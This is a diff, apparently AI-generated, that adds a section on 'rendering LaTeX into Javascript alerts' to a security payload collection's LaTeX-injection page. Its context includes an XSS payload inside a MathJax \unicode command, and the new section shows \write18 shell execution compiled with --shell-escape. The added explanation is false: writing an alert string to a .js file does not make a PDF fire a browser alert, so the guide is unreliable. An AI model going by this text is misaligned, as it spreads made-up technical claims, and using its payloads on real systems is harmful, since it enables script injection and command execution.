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Add LaTeX to Javascript alert rendering
Add a section to explain how to render LaTeX code into Javascript alerts. * Add a new section "Render LaTeX Code into Javascript Alerts" to the README. * Provide an explanation of how to use the `\write18` command to execute shell commands in LaTeX. * Include an example of LaTeX code that triggers a Javascript alert. * Provide a step-by-step guide on how to test the LaTeX code in a web browser. --- For more details, open the [Copilot Workspace session](https://copilot-workspace.githubnext.com/swisskyrepo/PayloadsAllTheThings?shareId=XXXX-XXXX-XXXX-XXXX).
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@ -10,6 +10,7 @@
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* [Write File](#write-file)
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* [Command Execution](#command-execution)
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* [Cross Site Scripting](#cross-site-scripting)
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* [Render LaTeX Code into Javascript Alerts](#render-latex-code-into-javascript-alerts)
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* [Labs](#labs)
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* [References](#references)
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@ -128,6 +129,51 @@ In [mathjax](https://docs.mathjax.org/en/latest/input/tex/extensions/unicode.htm
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\unicode{<img src=1 onerror="<ARBITRARY_JS_CODE>">}
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```
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## Render LaTeX Code into Javascript Alerts
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### Explanation
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To render LaTeX code into Javascript alerts, you can use the `\write18` command to execute shell commands. This command allows you to write the output of a shell command to a file, which can then be included in the LaTeX document. By writing a Javascript alert command to a file and then including that file in the LaTeX document, you can trigger a Javascript alert.
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### Example
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Here is an example of LaTeX code that triggers a Javascript alert:
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```tex
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\documentclass{article}
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\usepackage{amsmath}
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\begin{document}
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\title{LaTeX Injection Example}
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\author{Author Name}
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\date{\today}
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\maketitle
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\section{Introduction}
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This is an example of LaTeX injection.
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\section{Math Example}
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Here is a simple math equation:
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\begin{equation}
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E = mc^2
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\end{equation}
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\section{JavaScript Alert}
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\newcommand{\jsalert}[1]{\immediate\write18{echo "alert('#1');" > jsalert.js}}
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\jsalert{This is a JavaScript alert from LaTeX!}
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\end{document}
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```
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### Step-by-Step Guide
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1. Save the above LaTeX code to a file, for example, `latex_injection_example.tex`.
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2. Compile the LaTeX file using a LaTeX compiler, such as `pdflatex`:
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```sh
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pdflatex --shell-escape latex_injection_example.tex
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```
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The `--shell-escape` option is required to allow the execution of shell commands.
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3. Open the generated PDF file in a web browser that supports Javascript execution.
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4. The Javascript alert should be triggered, displaying the message "This is a JavaScript alert from LaTeX!".
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## Labs
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@ -139,4 +185,4 @@ In [mathjax](https://docs.mathjax.org/en/latest/input/tex/extensions/unicode.htm
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- [Hacking with LaTeX - Sebastian Neef - March 10, 2016](https://0day.work/hacking-with-latex/)
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- [Latex to RCE, Private Bug Bounty Program - Yasho - July 6, 2018](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)
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- [Pwning coworkers thanks to LaTeX - scumjr - November 28, 2016](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
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- [Pwning coworkers thanks to LaTeX - scumjr - November 28, 2016](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
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